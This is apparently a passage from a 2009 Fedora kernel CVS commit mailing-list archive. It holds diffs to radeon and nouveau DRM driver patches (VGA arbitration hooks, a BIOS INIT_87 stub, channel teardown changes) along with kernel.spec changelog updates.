+@@ -432,6 +442,7 @@ static struct radeon_asic r600_asic = {
+ 	.fini = &r600_fini,
+ 	.suspend = &r600_suspend,
  	.resume = &r600_resume,
- 	.cp_commit = &r600_cp_commit,
- 	.vram_info = NULL,
 +	.vga_set_state = &r600_vga_set_state,
+ 	.cp_commit = &r600_cp_commit,
  	.gpu_reset = &r600_gpu_reset,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
-@@ -606,6 +617,7 @@ static struct radeon_asic rv770_asic = {
+ 	.gart_tlb_flush = &r600_pcie_gart_tlb_flush,
+@@ -468,6 +479,7 @@ static struct radeon_asic rv770_asic = {
+ 	.fini = &rv770_fini,
+ 	.suspend = &rv770_suspend,
+ 	.resume = &rv770_resume,
++	.vga_set_state = &r600_vga_set_state,
  	.cp_commit = &r600_cp_commit,
- 	.vram_info = NULL,
  	.gpu_reset = &rv770_gpu_reset,
-+	.vga_set_state = &r600_vga_set_state,
- 	.mc_init = NULL,
- 	.mc_fini = NULL,
- 	.wb_init = &r600_wb_init,
-diff --git a/drivers/gpu/drm/radeon/radeon_device.c b/drivers/gpu/drm/radeon/radeon_device.c
-index 8a40c61..daf5db7 100644
---- a/drivers/gpu/drm/radeon/radeon_device.c
-+++ b/drivers/gpu/drm/radeon/radeon_device.c
+ 	.gart_tlb_flush = &r600_pcie_gart_tlb_flush,
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon_device.c	2009-10-08 14:25:26.000000000 +1000
 @@ -29,6 +29,7 @@
  #include <drm/drmP.h>
  #include <drm/drm_crtc_helper.h>
@@ -393,8 +331,8 @@ index 8a40c61..daf5db7 100644
  #include "radeon_reg.h"
  #include "radeon.h"
  #include "radeon_asic.h"
-@@ -480,7 +481,18 @@ void radeon_combios_fini(struct radeon_device *rdev)
- {
+@@ -374,7 +375,18 @@ int radeon_asic_init(struct radeon_devic
+ 	return 0;
  }
  
 +/* if we get transitioned to only one device, tak VGA back */
@@ -410,42 +348,51 @@ index 8a40c61..daf5db7 100644
 +		return VGA_RSRC_NORMAL_IO | VGA_RSRC_NORMAL_MEM;
 +}
  /*
-  * Radeon device.
+  * Wrapper around modesetting bits.
   */
-@@ -578,6 +590,13 @@ int radeon_device_init(struct radeon_device *rdev,
- 	if (r) {
- 		return r;
- 	}
-+
+@@ -568,6 +580,12 @@ int radeon_device_init(struct radeon_dev
+ 	DRM_INFO("register mmio base: 0x%08X\n", (uint32_t)rdev->rmmio_base);
+ 	DRM_INFO("register mmio size: %u\n", (unsigned)rdev->rmmio_size);
+ 
 +	/* if we have > 1 VGA cards, then disable the radeon VGA resources */
 +	r = vga_client_register(rdev->pdev, rdev, NULL, radeon_vga_set_decode);
 +	if (r) {
 +		return -EINVAL;
 +	}
 +
- 	if (!rdev->new_init_path) {
- 		/* Setup errata flags */
- 		radeon_errata(rdev);
-@@ -586,7 +605,6 @@ int radeon_device_init(struct radeon_device *rdev,
- 		/* Initialize surface registers */
- 		radeon_surface_init(rdev);
- 
--		/* TODO: disable VGA need to use VGA request */
- 		/* BIOS*/
- 		if (!radeon_get_bios(rdev)) {
- 			if (ASIC_IS_AVIVO(rdev))
-@@ -697,6 +715,7 @@ void radeon_device_fini(struct radeon_device *rdev)
- 		radeon_agp_fini(rdev);
- #endif
- 		radeon_irq_kms_fini(rdev);
-+		vga_client_register(rdev->pdev, NULL, NULL, NULL);
- 		radeon_fence_driver_fini(rdev);
- 		radeon_clocks_fini(rdev);
- 		radeon_object_fini(rdev);
-diff --git a/include/drm/drmP.h b/include/drm/drmP.h
-index eeefb63..c8e64bb 100644
---- a/include/drm/drmP.h
-+++ b/include/drm/drmP.h
+ 	r = radeon_init(rdev);
+ 	if (r)
+ 		return r;
+@@ -597,6 +615,7 @@ void radeon_device_fini(struct radeon_de
+ 	rdev->shutdown = true;
+ 	/* Order matter so becarefull if you rearrange anythings */
+ 	radeon_fini(rdev);
++	vga_client_register(rdev->pdev, NULL, NULL, NULL);
+ 	iounmap(rdev->rmmio);
+ 	rdev->rmmio = NULL;
+ }
+diff -up linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h.da linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h
+--- linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/drivers/gpu/drm/radeon/radeon.h	2009-10-08 14:22:15.000000000 +1000
+@@ -590,6 +590,7 @@ struct radeon_asic {
+ 	void (*fini)(struct radeon_device *rdev);
+ 	int (*resume)(struct radeon_device *rdev);
+ 	int (*suspend)(struct radeon_device *rdev);
++	void (*vga_set_state)(struct radeon_device *rdev, bool state);
+ 	int (*gpu_reset)(struct radeon_device *rdev);
+ 	void (*gart_tlb_flush)(struct radeon_device *rdev);
+ 	int (*gart_set_page)(struct radeon_device *rdev, int i, uint64_t addr);
+@@ -935,6 +936,7 @@ static inline void radeon_ring_write(str
+ #define radeon_fini(rdev) (rdev)->asic->fini((rdev))
+ #define radeon_resume(rdev) (rdev)->asic->resume((rdev))
+ #define radeon_suspend(rdev) (rdev)->asic->suspend((rdev))
++#define radeon_vga_set_state(rdev, state) (rdev)->asic->vga_set_state((rdev), (state))
+ #define radeon_cs_parse(p) rdev->asic->cs_parse((p))
+ #define radeon_gpu_reset(rdev) (rdev)->asic->gpu_reset((rdev))
+ #define radeon_gart_tlb_flush(rdev) (rdev)->asic->gart_tlb_flush((rdev))
+diff -up linux-2.6.31.noarch/include/drm/drmP.h.da linux-2.6.31.noarch/include/drm/drmP.h
+--- linux-2.6.31.noarch/include/drm/drmP.h.da	2009-10-08 14:20:49.000000000 +1000
++++ linux-2.6.31.noarch/include/drm/drmP.h	2009-10-08 14:21:08.000000000 +1000
 @@ -810,6 +810,9 @@ struct drm_driver {
  	int (*gem_init_object) (struct drm_gem_object *obj);
  	void (*gem_free_object) (struct drm_gem_object *obj);
@@ -456,6 +403,3 @@ index eeefb63..c8e64bb 100644
  	/* Driver private ops for this object */
  	struct vm_operations_struct *gem_vm_ops;
  
--- 
-1.6.4.2
-


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1849
retrieving revision 1.1850
diff -u -p -r1.1849 -r1.1850
--- kernel.spec	8 Oct 2009 00:26:32 -0000	1.1849
+++ kernel.spec	8 Oct 2009 04:32:54 -0000	1.1850
@@ -706,7 +706,7 @@ Patch1585: linux-2.6-xen-increase-device
 Patch1586: linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
 # nouveau + drm fixes
-Patch1812: drm-next-4c57edba4.patch
+Patch1812: drm-next-d4ac6a05.patch
 Patch1813: drm-radeon-pm.patch
 Patch1814: drm-nouveau.patch
 Patch1818: drm-i915-resume-force-mode.patch
@@ -1383,7 +1383,7 @@ ApplyPatch linux-2.6-block-silently-erro
 ApplyPatch linux-2.6-e1000-ich9.patch
 
 # Nouveau DRM + drm fixes
-ApplyPatch drm-next-4c57edba4.patch
+ApplyPatch drm-next-d4ac6a05.patch
 
 ApplyPatch drm-nouveau.patch
 # pm broken on my thinkpad t60p - airlied
@@ -2079,6 +2079,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 08 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-64
+- rebase latest drm-next, fixes many s/r and r600 problems
+
 * Wed Oct 07 2009 Dave Jones <davej at redhat.com>
 - Don't mark the initramfs file as a ghost.
 


--- drm-next-4c57edba4.patch DELETED ---



From bskeggs at fedoraproject.org  Thu Oct  8 04:42:13 2009
From: bskeggs at fedoraproject.org (Ben Skeggs)
Date: Thu,  8 Oct 2009 04:42:13 +0000 (UTC)
Subject: rpms/kernel/F-12 drm-nouveau.patch, 1.62, 1.63 kernel.spec, 1.1850, 
	1.1851
Message-ID: <20091008044213.46C6B11C00DB@cvs1.fedora.phx.redhat.com>

Author: bskeggs

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12991

Modified Files:
	drm-nouveau.patch kernel.spec 
Log Message:
* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.1-65
- nouveau: {drm-next,context,fbcon,misc} fixes, connector forcing



drm-nouveau.patch:
 drivers/gpu/drm/Kconfig                     |   45 
 drivers/gpu/drm/Makefile                    |    2 
 drivers/gpu/drm/i2c/Makefile                |    4 
 drivers/gpu/drm/i2c/ch7006_drv.c            |  531 
 drivers/gpu/drm/i2c/ch7006_mode.c           |  473 
 drivers/gpu/drm/i2c/ch7006_priv.h           |  344 
 drivers/gpu/drm/nouveau/Makefile            |   29 
 drivers/gpu/drm/nouveau/nouveau_acpi.c      |  125 
 drivers/gpu/drm/nouveau/nouveau_backlight.c |  155 
 drivers/gpu/drm/nouveau/nouveau_bios.c      | 5536 ++++++
 drivers/gpu/drm/nouveau/nouveau_bios.h      |  236 
 drivers/gpu/drm/nouveau/nouveau_bo.c        |  620 
 drivers/gpu/drm/nouveau/nouveau_calc.c      |  626 
 drivers/gpu/drm/nouveau/nouveau_channel.c   |  464 
 drivers/gpu/drm/nouveau/nouveau_connector.c |  781 
 drivers/gpu/drm/nouveau/nouveau_connector.h |   55 
 drivers/gpu/drm/nouveau/nouveau_crtc.h      |   95 
 drivers/gpu/drm/nouveau/nouveau_debugfs.c   |  157 
 drivers/gpu/drm/nouveau/nouveau_display.c   |  115 
 drivers/gpu/drm/nouveau/nouveau_dma.c       |  206 
 drivers/gpu/drm/nouveau/nouveau_dma.h       |  151 
 drivers/gpu/drm/nouveau/nouveau_drv.c       |  413 
 drivers/gpu/drm/nouveau/nouveau_drv.h       | 1282 +
 drivers/gpu/drm/nouveau/nouveau_encoder.h   |   66 
 drivers/gpu/drm/nouveau/nouveau_fb.h        |   47 
 drivers/gpu/drm/nouveau/nouveau_fbcon.c     |  381 
 drivers/gpu/drm/nouveau/nouveau_fbcon.h     |   49 
 drivers/gpu/drm/nouveau/nouveau_fence.c     |  262 
 drivers/gpu/drm/nouveau/nouveau_gem.c       |  954 +
 drivers/gpu/drm/nouveau/nouveau_hw.c        | 1078 +
 drivers/gpu/drm/nouveau/nouveau_hw.h        |  448 
 drivers/gpu/drm/nouveau/nouveau_i2c.c       |  256 
 drivers/gpu/drm/nouveau/nouveau_i2c.h       |   45 
 drivers/gpu/drm/nouveau/nouveau_ioc32.c     |   72 
 drivers/gpu/drm/nouveau/nouveau_irq.c       |  696 
 drivers/gpu/drm/nouveau/nouveau_mem.c       |  572 
 drivers/gpu/drm/nouveau/nouveau_notifier.c  |  195 
 drivers/gpu/drm/nouveau/nouveau_object.c    | 1294 +
 drivers/gpu/drm/nouveau/nouveau_reg.h       |  788 
 drivers/gpu/drm/nouveau/nouveau_sgdma.c     |  321 
 drivers/gpu/drm/nouveau/nouveau_state.c     |  872 +
 drivers/gpu/drm/nouveau/nouveau_swmthd.h    |   33 
 drivers/gpu/drm/nouveau/nouveau_ttm.c       |  131 
 drivers/gpu/drm/nouveau/nv04_crtc.c         |  995 +
 drivers/gpu/drm/nouveau/nv04_cursor.c       |   70 
 drivers/gpu/drm/nouveau/nv04_dac.c          |  529 
 drivers/gpu/drm/nouveau/nv04_dfp.c          |  621 
 drivers/gpu/drm/nouveau/nv04_display.c      |  293 
 drivers/gpu/drm/nouveau/nv04_fb.c           |   21 
 drivers/gpu/drm/nouveau/nv04_fbcon.c        |  316 
 drivers/gpu/drm/nouveau/nv04_fifo.c         |  271 
 drivers/gpu/drm/nouveau/nv04_graph.c        |  579 
 drivers/gpu/drm/nouveau/nv04_instmem.c      |  210 
 drivers/gpu/drm/nouveau/nv04_mc.c           |   20 
 drivers/gpu/drm/nouveau/nv04_timer.c        |   51 
 drivers/gpu/drm/nouveau/nv04_tv.c           |  305 
 drivers/gpu/drm/nouveau/nv10_fb.c           |   24 
 drivers/gpu/drm/nouveau/nv10_fifo.c         |  260 
 drivers/gpu/drm/nouveau/nv10_graph.c        |  891 +
 drivers/gpu/drm/nouveau/nv17_tv.c           |  689 
 drivers/gpu/drm/nouveau/nv17_tv.h           |  156 
 drivers/gpu/drm/nouveau/nv17_tv_modes.c     |  583 
 drivers/gpu/drm/nouveau/nv20_graph.c        |  778 
 drivers/gpu/drm/nouveau/nv40_fb.c           |   62 
 drivers/gpu/drm/nouveau/nv40_fifo.c         |  314 
 drivers/gpu/drm/nouveau/nv40_graph.c        | 2239 ++
 drivers/gpu/drm/nouveau/nv40_mc.c           |   38 
 drivers/gpu/drm/nouveau/nv50_crtc.c         |  784 
 drivers/gpu/drm/nouveau/nv50_cursor.c       |  151 
 drivers/gpu/drm/nouveau/nv50_dac.c          |  295 
 drivers/gpu/drm/nouveau/nv50_display.c      |  902 +
 drivers/gpu/drm/nouveau/nv50_display.h      |   46 
 drivers/gpu/drm/nouveau/nv50_evo.h          |  113 
 drivers/gpu/drm/nouveau/nv50_fbcon.c        |  273 
 drivers/gpu/drm/nouveau/nv50_fifo.c         |  493 
 drivers/gpu/drm/nouveau/nv50_graph.c        |  465 
 drivers/gpu/drm/nouveau/nv50_grctx.h        |22284 ++++++++++++++++++++++++++++
 drivers/gpu/drm/nouveau/nv50_instmem.c      |  508 
 drivers/gpu/drm/nouveau/nv50_mc.c           |   40 
 drivers/gpu/drm/nouveau/nv50_sor.c          |  250 
 drivers/gpu/drm/nouveau/nvreg.h             |  535 
 drivers/gpu/drm/ttm/ttm_bo.c                |    4 
 include/drm/Kbuild                          |    1 
 include/drm/i2c/ch7006.h                    |   86 
 include/drm/nouveau_drm.h                   |  216 
 85 files changed, 58766 insertions(+)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.62 -r 1.63 drm-nouveau.patchIndex: drm-nouveau.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/drm-nouveau.patch,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- drm-nouveau.patch	8 Oct 2009 04:32:54 -0000	1.62
+++ drm-nouveau.patch	8 Oct 2009 04:42:12 -0000	1.63
@@ -1766,10 +1766,10 @@ index 0000000..20564f8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.c b/drivers/gpu/drm/nouveau/nouveau_bios.c
 new file mode 100644
-index 0000000..09ccffd
+index 0000000..7a55199
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.c
-@@ -0,0 +1,5499 @@
+@@ -0,0 +1,5536 @@
 +/*
 + * Copyright 2005-2006 Erik Waling
 + * Copyright 2006 Stephane Marchesin
@@ -4230,6 +4230,27 @@ index 0000000..09ccffd
 +}
 +
 +static bool
++init_87(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_87   opcode: 0x87 ('')
++	 *
++	 * offset      (8 bit): opcode
++	 * offset + 1  (8 bit): unknown
++	 * offset + 4 (32 bit): unknown entry 0
++	 *
++	 * Unknown function.  Stubbed here as one of my cards can resume
++	 * fine without it, but we'd still want to run the remainder
++	 * of the script instead of aborting.
++	 *
++	 * Starting from offset+4 there are BIT_M+2 32-bit entries.
++	 */
++
++	NV_WARN(bios->dev, "INIT_87 stubbed!\n");
++	return true;
++}
++
++static bool
 +init_8e(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
 +{
 +	/*
@@ -4560,6 +4581,7 @@ index 0000000..09ccffd
 +	{ "INIT_INDEX_IO"                     , 0x78, 6       , 0       , 0       , init_index_io                   },
 +	{ "INIT_PLL"                          , 0x79, 7       , 0       , 0       , init_pll                        },
 +	{ "INIT_ZM_REG"                       , 0x7A, 9       , 0       , 0       , init_zm_reg                     },
++	{ "INIT_87"                           , 0x87, 2       , 0       , 0       , init_87                         },
 +	{ "INIT_8E"                           , 0x8E, 1       , 0       , 0       , init_8e                         },
 +	/* INIT_RAM_RESTRICT_ZM_REG_GROUP's mult is loaded by M table in BIT */
 +	{ "INIT_RAM_RESTRICT_ZM_REG_GROUP"    , 0x8F, 7       , 6       , 0       , init_ram_restrict_zm_reg_group  },
@@ -6059,10 +6081,14 @@ index 0000000..09ccffd
 +	if (bitentry->length < 0x5)
 +		return 0;
 +
++	/* adjust length of INIT_87 */
++	for (i = 0; itbl_entry[i].name && (itbl_entry[i].id != 0x87); i++);
++	itbl_entry[i].length += bios->data[bitentry->offset + 2] * 4;
++
 +	/* set up multiplier for INIT_RAM_RESTRICT_ZM_REG_GROUP */
-+	for (i = 0; itbl_entry[i].name && (itbl_entry[i].id != 0x8f); i++)
-+		;
++	for (; itbl_entry[i].name && (itbl_entry[i].id != 0x8f); i++);
 +	itbl_entry[i].length_multiplier = bios->data[bitentry->offset + 2] * 4;
++
 +	init_ram_restrict_zm_reg_group_blocklen = itbl_entry[i].length_multiplier;
 +
 +	bios->ram_restrict_tbl_ptr = ROM16(bios->data[bitentry->offset + 3]);
@@ -6964,6 +6990,17 @@ index 0000000..09ccffd
 +		if (dcb->entry[i].i2c_index == 0xf)
 +			continue;
 +
++		/*
++		 * Ignore the I2C index for on-chip TV-out, as there
++		 * are cards with bogus values (nv31m in bug 23212),
++		 * and it's otherwise useless.
++		 */
++		if (dcb->entry[i].type == OUTPUT_TV &&
++		    dcb->entry[i].location == DCB_LOC_ON_CHIP) {
++			dcb->entry[i].i2c_index = 0xf;
++			continue;
++		}
++
 +		dcb->entry[i].connector = dcb->entry[i].i2c_index;
 +		if (dcb->entry[i].connector > high)
 +			high = dcb->entry[i].connector;
@@ -7271,10 +7308,10 @@ index 0000000..09ccffd
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.h b/drivers/gpu/drm/nouveau/nouveau_bios.h
 new file mode 100644
-index 0000000..a7f02b4
+index 0000000..33f3172
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.h
-@@ -0,0 +1,235 @@
+@@ -0,0 +1,236 @@
 +/*
 + * Copyright 2007-2008 Nouveau Project
 + *
@@ -7362,6 +7399,7 @@ index 0000000..a7f02b4
 +	OUTPUT_TMDS = 2,
 +	OUTPUT_LVDS = 3,
 +	OUTPUT_DP = 6,
++	OUTPUT_ANY = -1
 +};
 +
 +enum nouveau_or {
@@ -8770,10 +8808,10 @@ index 0000000..3f80db8
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_channel.c b/drivers/gpu/drm/nouveau/nouveau_channel.c
 new file mode 100644
-index 0000000..1a87041
+index 0000000..8e7a9fe
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_channel.c
-@@ -0,0 +1,482 @@
+@@ -0,0 +1,464 @@
 +/*
 + * Copyright 2005-2006 Stephane Marchesin
 + * All Rights Reserved.
@@ -9060,32 +9098,18 @@ index 0000000..1a87041
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
 +	struct nouveau_pgraph_engine *pgraph = &dev_priv->engine.graph;
 +	struct nouveau_fifo_engine *pfifo = &dev_priv->engine.fifo;
-+	struct nouveau_timer_engine *ptimer = &dev_priv->engine.timer;
-+	unsigned fbdev_flags = 0;
-+	uint64_t t_start;
-+	bool timeout = false;
++	unsigned long flags;
 +	int ret;
 +
 +	NV_INFO(dev, "%s: freeing fifo %d\n", __func__, chan->id);
 +
 +	nouveau_debugfs_channel_fini(chan);
 +
-+	/* Give the channel a chance to idle, wait 2s (hopefully) */
-+	t_start = ptimer->read(dev);
-+	while (!nouveau_channel_idle(chan)) {
-+		if (ptimer->read(dev) - t_start > 2000000000ULL) {
-+			NV_ERROR(dev, "Failed to idle channel %d.  "
-+				      "Prepare for strangeness..\n", chan->id);
-+			timeout = true;
-+			break;
-+		}
-+	}
-+
-+	/* Wait on a fence until channel goes idle, this ensures the engine
-+	 * has finished with the last push buffer completely before we destroy
-+	 * the channel.
-+	 */
-+	if (!timeout) {
++	/* Give outstanding push buffers a chance to complete */
++	spin_lock_irqsave(&chan->fence.lock, flags);
++	nouveau_fence_update(chan);
++	spin_unlock_irqrestore(&chan->fence.lock, flags);
++	if (chan->fence.sequence != chan->fence.sequence_ack) {
 +		struct nouveau_fence *fence = NULL;
 +
 +		ret = nouveau_fence_new(chan, &fence, true);
@@ -9094,11 +9118,8 @@ index 0000000..1a87041
 +			nouveau_fence_unref((void *)&fence);
 +		}
 +
-+		if (ret) {
-+			NV_ERROR(dev, "Failed to fence channel %d.  "
-+				      "Prepare for strangeness..\n", chan->id);
-+			timeout = true;
-+		}
++		if (ret)
++			NV_ERROR(dev, "Failed to idle channel %d.\n", chan->id);
 +	}
 +
 +	/* Ensure all outstanding fences are signaled.  They should be if the
@@ -9107,31 +9128,30 @@ index 0000000..1a87041
 +	 */
 +	nouveau_fence_fini(chan);
 +
-+	/* disable the fifo caches */
-+	if (dev_priv->fbdev_info) {
-+		fbdev_flags = dev_priv->fbdev_info->flags;
-+		dev_priv->fbdev_info->flags |= FBINFO_HWACCEL_DISABLED;
++	/* Ensure the channel is no longer active on the GPU */
++	pfifo->reassign(dev, false);
++
++	if (pgraph->channel(dev) == chan) {
++		pgraph->fifo_access(dev, false);
++		pgraph->unload_context(dev);
++		pgraph->fifo_access(dev, true);
 +	}
++	pgraph->destroy_context(chan);
 +
-+	pfifo->reassign(dev, false);
-+	pfifo->disable(dev);
++	if (pfifo->channel_id(dev) == chan->id) {
[...2326 lines suppressed...]
@@ -34191,19 +34222,30 @@ index 0000000..aca9ea6
 +	int ret, format;
 +
 +	switch (info->var.bits_per_pixel) {
++	case 8:
++		format = 0xf3;
++		break;
++	case 15:
++		format = 0xf8;
++		break;
 +	case 16:
 +		format = 0xe8;
 +		break;
-+	default:
++	case 32:
 +		switch (info->var.transp.length) {
-+		case 2:
++		case 0: /* depth 24 */
++		case 8: /* depth 32, just use 24.. */
++			format = 0xe6;
++			break;
++		case 2: /* depth 30 */
 +			format = 0xd1;
 +			break;
 +		default:
-+			format = 0xe6;
-+			break;
++			return -EINVAL;
 +		}
 +		break;
++	default:
++		return -EINVAL;
 +	}
 +
 +	ret = nouveau_gpuobj_gr_new(dev_priv->channel, 0x502d, &eng2d);
@@ -34290,10 +34332,10 @@ index 0000000..aca9ea6
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_fifo.c b/drivers/gpu/drm/nouveau/nv50_fifo.c
 new file mode 100644
-index 0000000..10ed193
+index 0000000..c2396a6
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_fifo.c
-@@ -0,0 +1,481 @@
+@@ -0,0 +1,493 @@
 +/*
 + * Copyright (C) 2007 Ben Skeggs.
 + * All Rights Reserved.
@@ -34616,9 +34658,6 @@ index 0000000..10ed193
 +
 +	NV_DEBUG(dev, "ch%d\n", chan->id);
 +
-+	if ((nv_rd32(dev, NV03_PFIFO_CACHE1_PUSH1) & 0xffff) == chan->id)
-+		nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, 127);
-+
 +	nouveau_gpuobj_ref_del(dev, &chan->ramfc);
 +	nouveau_gpuobj_ref_del(dev, &chan->cache);
 +
@@ -34697,21 +34736,35 @@ index 0000000..10ed193
 +
 +	dev_priv->engine.instmem.finish_access(dev);
 +
++	nv_wr32(dev, NV03_PFIFO_CACHE1_GET, 0);
++	nv_wr32(dev, NV03_PFIFO_CACHE1_PUT, 0);
 +	nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, chan->id | (1<<16));
 +	return 0;
 +}
 +
 +int
-+nv50_fifo_save_context(struct nouveau_channel *chan)
++nv50_fifo_unload_context(struct drm_device *dev)
 +{
-+	struct drm_device *dev = chan->dev;
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
-+	struct nouveau_gpuobj *ramfc = chan->ramfc->gpuobj;
-+	struct nouveau_gpuobj *cache = chan->cache->gpuobj;
-+	int put, get, ptr;
++	struct nouveau_fifo_engine *pfifo = &dev_priv->engine.fifo;
++	struct nouveau_gpuobj *ramfc, *cache;
++	struct nouveau_channel *chan = NULL;
++	int chid, get, put, ptr;
 +
 +	NV_DEBUG(chan->dev, "ch%d\n", chan->id);
 +
++	chid = pfifo->channel_id(dev);
++	if (chid < 0 || chid >= dev_priv->engine.fifo.channels)
++		return 0;
++
++	chan = dev_priv->fifos[chid];
++	if (!chan) {
++		NV_ERROR(dev, "Inactive channel on PFIFO: %d\n", chid);
++		return -EINVAL;
++	}
++	ramfc = chan->ramfc->gpuobj;
++	cache = chan->cache->gpuobj;
++
 +	dev_priv->engine.instmem.prepare_access(dev, true);
 +
 +	nv_wo32(dev, ramfc, 0x00/4, nv_rd32(dev, 0x3330));
@@ -34761,7 +34814,6 @@ index 0000000..10ed193
 +
 +	/* guessing that all the 0x34xx regs aren't on NV50 */
 +	if (!IS_G80) {
-+
 +		nv_wo32(dev, ramfc, 0x84/4, ptr >> 1);
 +		nv_wo32(dev, ramfc, 0x88/4, nv_rd32(dev, 0x340c));
 +		nv_wo32(dev, ramfc, 0x8c/4, nv_rd32(dev, 0x3400));
@@ -34772,15 +34824,17 @@ index 0000000..10ed193
 +
 +	dev_priv->engine.instmem.finish_access(dev);
 +
++	/*XXX: probably reload ch127 (NULL) state back too */
++	nv_wr32(dev, NV03_PFIFO_CACHE1_PUSH1, 127);
 +	return 0;
 +}
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_graph.c b/drivers/gpu/drm/nouveau/nv50_graph.c
 new file mode 100644
-index 0000000..d9c3e21
+index 0000000..93a4b66
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_graph.c
-@@ -0,0 +1,472 @@
+@@ -0,0 +1,465 @@
 +/*
 + * Copyright (C) 2007 Ben Skeggs.
 + * All Rights Reserved.
@@ -35080,20 +35134,12 @@ index 0000000..d9c3e21
 +	struct drm_device *dev = chan->dev;
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
 +	int i, hdr = IS_G80 ? 0x200 : 0x20;
-+	uint32_t inst;
 +
 +	NV_DEBUG(dev, "ch%d\n", chan->id);
 +
 +	if (!chan->ramin || !chan->ramin->gpuobj)
 +		return;
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
-+	if (inst & NV50_PGRAPH_CTXCTL_CUR_LOADED) {
-+		inst &= NV50_PGRAPH_CTXCTL_CUR_INSTANCE;
-+		if (inst == chan->ramin->instance >> 12)
-+			nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR, inst);
-+	}
-+
 +	dev_priv->engine.instmem.prepare_access(dev, true);
 +	for (i = hdr; i < hdr + 24; i += 4)
 +		nv_wo32(dev, chan->ramin->gpuobj, i/4, 0);
@@ -35119,6 +35165,7 @@ index 0000000..d9c3e21
 +	if (nouveau_wait_for_idle(dev))
 +		nv_wr32(dev, 0x40032c, inst | (1<<31));
 +	nv_wr32(dev, 0x400500, fifo);
++
 +	return 0;
 +}
 +
@@ -35147,12 +35194,18 @@ index 0000000..d9c3e21
 +}
 +
 +int
-+nv50_graph_save_context(struct nouveau_channel *chan)
++nv50_graph_unload_context(struct drm_device *dev)
 +{
-+	uint32_t inst = chan->ramin->instance >> 12;
++	uint32_t inst;
++	int ret;
 +
-+	NV_DEBUG(chan->dev, "ch%d\n", chan->id);
-+	return nv50_graph_do_save_context(chan->dev, inst);
++	inst  = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
++	if (!(inst & NV50_PGRAPH_CTXCTL_CUR_LOADED))
++		return 0;
++	inst &= NV50_PGRAPH_CTXCTL_CUR_INSTANCE;
++	ret = nv50_graph_do_save_context(dev, inst);
++	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR, inst);
++	return 0;
 +}
 +
 +void
@@ -35160,17 +35213,11 @@ index 0000000..d9c3e21
 +{
 +	uint32_t inst;
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_CUR);
-+	if (inst & NV50_PGRAPH_CTXCTL_CUR_LOADED)
-+		nv50_graph_do_save_context(dev, inst);
-+	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR,
-+				inst & NV50_PGRAPH_CTXCTL_CUR_INSTANCE);
++	nv50_graph_unload_context(dev);
 +
-+	inst = nv_rd32(dev, NV50_PGRAPH_CTXCTL_NEXT) &
-+		       NV50_PGRAPH_CTXCTL_NEXT_INSTANCE;
++	inst  = nv_rd32(dev, NV50_PGRAPH_CTXCTL_NEXT);
++	inst &= NV50_PGRAPH_CTXCTL_NEXT_INSTANCE;
 +	nv50_graph_do_load_context(dev, inst);
-+	nv_wr32(dev, NV50_PGRAPH_CTXCTL_CUR,
-+				inst | NV50_PGRAPH_CTXCTL_CUR_LOADED);
 +
 +	nv_wr32(dev, NV40_PGRAPH_INTR_EN, nv_rd32(dev,
 +		NV40_PGRAPH_INTR_EN) | NV_PGRAPH_INTR_CONTEXT_SWITCH);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1850
retrieving revision 1.1851
diff -u -p -r1.1850 -r1.1851
--- kernel.spec	8 Oct 2009 04:32:54 -0000	1.1850
+++ kernel.spec	8 Oct 2009 04:42:12 -0000	1.1851
@@ -2079,6 +2079,9 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.1-65
+- nouveau: {drm-next,context,fbcon,misc} fixes, connector forcing
+
 * Thu Oct 08 2009 Dave Airlie <airlied at redhat.com> 2.6.31.1-64
 - rebase latest drm-next, fixes many s/r and r600 problems
 



From mclasen at fedoraproject.org  Thu Oct  8 04:56:14 2009
